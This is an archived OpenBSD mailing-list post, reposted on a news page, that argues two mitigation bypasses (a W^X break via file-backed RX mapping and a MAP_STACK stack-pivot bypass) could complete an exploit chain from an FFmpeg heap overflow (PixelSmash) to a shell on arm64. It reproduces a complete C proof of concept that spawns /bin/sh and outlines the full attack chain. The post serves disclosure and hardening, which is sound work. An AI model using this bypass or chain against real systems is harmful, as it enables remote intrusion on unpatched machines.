cd /news/ai-safety/revisiting-stack-pivot-w-x-break-in-… · home topics ai-safety article
[ARTICLE · art-44253] src=mail-archive.com ↗ pub= topic=ai-safety verified=true sentiment=↓ negative

Revisiting: Stack pivot, W^X break – in the context of PixelSmash

A new exploit technique bypasses OpenBSD's W^X protection on arm64 hardware lacking PAC, BTI, or hardware CFI, using a file-backed RX mapping to achieve code execution. The technique, demonstrated in the context of CVE-2026-8461 (PixelSmash), a heap out-of-bounds write in FFmpeg's MagicYUV decoder, completes an exploit chain from heap corruption to remote code execution on affected systems.

read6 min views1 publishedJun 30, 2026

Skip to site navigation (Press enter) Revisiting: Stack pivot, W^X break — in the context of CVE-2026-8461 (PixelSmash) nibletz Thu, 25 Jun 2026 15:07:28 -0700

Hello,

Disclaimer: I used Claude to organize my thoughts on this.
This is a follow-up to the thread from January [1] which raised two separate 
issues: a MAP_STACK bypass via stack pivot jumpback, originally discussed by 
Ali Polatel on oss-security [2], and a W^X break via file-backed RX mapping, 
originally reported against HardenedBSD [3] and confirmed working on OpenBSD in 
the same thread.

The discussion in that thread concluded with the observation that "the burglar 
is already inside the house" — implying these techniques require prior code 
execution and are therefore not independently significant. I'd like to offer a 
concrete counterexample to that framing.

CVE-2026-8461 (PixelSmash), disclosed last week, is a heap out-of-bounds write 
in FFmpeg's MagicYUV decoder affecting any application using libavcodec, 
including applications that process untrusted AVI, MKV, or MOV files. JFrog 
demonstrated remote code execution against Jellyfin on Linux by corrupting the 
AVBuffer.free function pointer via a crafted 50KB media file delivered to an 
automated library scan pipeline — no user interaction beyond file delivery 
required.

On OpenBSD, several mitigations raise the bar considerably: omalloc's heap 
layout randomization, ASLR, RetGuard, IBT/BTI on capable hardware, pinsyscalls, 
mimmutable, and library relinking collectively make the Linux exploit technique 
not directly portable. However, on arm64 hardware without PAC, BTI, or 
hardware-enforced CFI — which describes a wide range of commonly deployed arm64 
hardware — the two techniques from the January thread become directly relevant 
as the missing links completing a realistic exploit chain from that initial 
heap corruption primitive.

W^X bypass via file-backed RX mapping

The original HardenedBSD GitLab issue [3] is no longer accessible — HardenedBSD 
has since migrated from GitLab to Radicle [4]. However, the technique was 
confirmed working on OpenBSD arm64 in the January thread, and a subsequent 
update by the author confirmed it pops a shell despite pinsyscalls via a libc 
trampoline. The PoC (authored by Ali Polatel <[email protected]>, reproduced 
here for archival purposes as the original link is broken) is as follows:

``` c
// poc_wx_bypass.c
//
// Proof-of-Concept: W^X bypass via file-backed RX mapping
// Author: Ali Polatel <[email protected]>

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>

static char *shell_path = "/bin/sh";
static char **shell_argv;
static char **shell_envp;

static void __attribute__((noinline)) exec_shell(void)
{
        execve(shell_path, shell_argv, shell_envp);
        _exit(127);
}

#if defined(__x86_64__)
static unsigned char trampoline_code[] = {
        0xc3 /* ret */
};
#elif defined(__aarch64__)
static unsigned char trampoline_code[] = {
        0xc0, 0x03, 0x5f, 0xd6 /* ret (uses x30/lr) */
};
#elif defined(__i386__)
static unsigned char trampoline_code[] = {
        0xc3 /* ret */
};
#else
#error "Architecture not supported. Please implement trampoline code."
#endif

static void __attribute__((noinline, noreturn))
call_trampoline(void *code_addr)
{
#if defined(__x86_64__)
        asm volatile("push %0\n\t"
                    "jmp *%1\n\t"
                    :
                    : "r"((uintptr_t)exec_shell), "r"(code_addr)
                    : "memory");
#elif defined(__aarch64__)
        asm volatile("mov x30, %0\n\t"
                    "br %1\n\t"
                    :
                    : "r"((uintptr_t)exec_shell), "r"(code_addr)
                    : "x30", "memory");
#elif defined(__i386__)
        asm volatile("push %0\n\t"
                    "jmp *%1\n\t"
                    :
                    : "r"((uintptr_t)exec_shell), "r"(code_addr)
                    : "memory");
#else
#error "Architecture not supported."
#endif
        __builtin_unreachable();
}

int main(int argc, char **argv, char **envp)
{
        const char *path = "./mmap";
        int fd;
        void *addr;
        size_t len;

        /* Set up shell arguments. */
        static char *default_argv[] = {"/bin/sh", NULL};
        shell_argv = (argc > 1) ? &argv[1] : default_argv;
        shell_envp = envp;

        /* Create backing file. */
        fd = open(path, O_RDWR | O_CREAT | O_TRUNC, S_IRWXU);
        if (fd < 0) {
                perror("open");
                exit(EXIT_FAILURE);
        }

        /* Map RX.
        * MAP_PRIVATE isn't necessary, MAP_SHARED works too...
        */
        len = sizeof(trampoline_code);
        addr = mmap(NULL, len, PROT_READ | PROT_EXEC, MAP_PRIVATE, fd, 0);
        if (addr == MAP_FAILED) {
                perror("mmap");
                close(fd);
                unlink(path);
                exit(EXIT_FAILURE);
        }

        /* Overwrite backing file. */
        if (lseek(fd, 0, SEEK_SET) < 0 ||
            write(fd, trampoline_code, len) != (ssize_t)len) {
                perror("write");
                munmap(addr, len);
                close(fd);
                unlink(path);
                exit(EXIT_FAILURE);
        }

        /* Close file:
        * This will sync the contents to the RO-memory area,
        * which breaks W^X! */
        close(fd);

        /* Jump into RX mapping! */
        call_trampoline(addr);

        /* Cleanup (not reached if shell succeeds). */
        munmap(addr, len);
        unlink(path);
        return EXIT_FAILURE;
}

The technique maps a file RX, then writes attacker-controlled code to the file descriptor — never holding write and execute permissions on the same mapping simultaneously — then closes the file, syncing the content into the RX mapping. W^X is never technically violated at the mmap level, but executable attacker-controlled code results. Pinsyscalls is addressed by routing through a legitimate libc trampoline rather than calling execve directly from injected code.

HardenedBSD addressed this class of issue in their August 2025 status report [5] by integrating Trusted Path Execution with mmap(PROT_EXEC) on file-backed mappings. OpenBSD has no equivalent protection.

MAP_STACK bypass via stack pivot jumpback

Ali Polatel's stack pivot jumpback bypass [6] sidesteps MAP_STACK detection by pivoting to a heap-allocated stack for intermediate work, then pivoting back to the original legitimate stack before making any syscall. The kernel's SP check at the syscall boundary never sees an invalid stack pointer. This was confirmed working on OpenBSD arm64 in the January thread. Crucially, no syscalls are made while on the heap stack — as noted in the thread, the bypass specifically avoids crossing any syscall boundary while off the legitimate stack.

In combination

In the context of PixelSmash on arm64 without PAC/BTI:

  • The heap overflow primitive corrupts AVBuffer.free to redirect control flow
  • omalloc and ASLR require a precise info leak — the FlashSV decoder bug noted in the JFrog writeup is a candidate, though chaining it reliably to reveal specific heap object addresses requires further research
  • With control flow redirected, the stack pivot jumpback technique provides a path to execute arbitrary code while evading MAP_STACK detection
  • The file-backed RX mapping bypass provides a means to get attacker-controlled code into an executable mapping without violating W^X
  • The libc trampoline approach routes execve through the pinned libc stub, satisfying pinsyscalls

The result is a plausible path from an unauthenticated media file to a shell on an OpenBSD arm64 system running a vulnerable FFmpeg version, on hardware that is in common use.

The immediate mitigation is to update FFmpeg to 8.1.2 and avoid automated processing of untrusted media. The underlying gaps in MAP_STACK enforcement and W^X via file-backed mappings remain open questions.

Is there interest in addressing either of these, or a technical reason they are considered out of scope?

With respect, Nibletz

[1] https://go.mail-archive.com/[email protected]/msg196619.html [2] https://seclists.org/oss-sec/2026/q1/48 [3] https://git.hardenedbsd.org/hardenedbsd/HardenedBSD/-/issues/107 (no longer accessible — HardenedBSD migrated to Radicle) [4] https://hardenedbsd.org/article/shawn-webb/2026-04-26/hardenedbsd-officially-radicle [5] https://hardenedbsd.org/article/shawn-webb/2025-08-30/hardenedbsd-august-2025-status-report [6] https://gitlab.exherbo.org/sydbox/sydbox/-/blob/main/dev/stackpivot-jumpback-bypass.c


Previous message
View by thread
View by date
Next message
Reply via email to
Search the site
The Mail Archive home
misc - all messages
misc - about the list
Previous message
Next message
── more in #ai-safety 4 stories · sorted by recency
── more on @openbsd 3 stories trending now
sponsored brought to you by zahid.host 4,200+ EU-deployed projects
reading about agents? ship yours in a single git push.

Run your AI side-project on zahid.host

EU-based hosting, git-push deploys, automatic HTTPS, no cold starts. Free tier with a custom domain — perfect for shipping the agent you just read about.

$git push zahid main
Live at https://your-agent.zahid.host
Get free account → Pricing
from €0/mo · no card required
LIVE [news/revisiting-stack-piv…] indexed:0 read:6min 2026-06-30 ·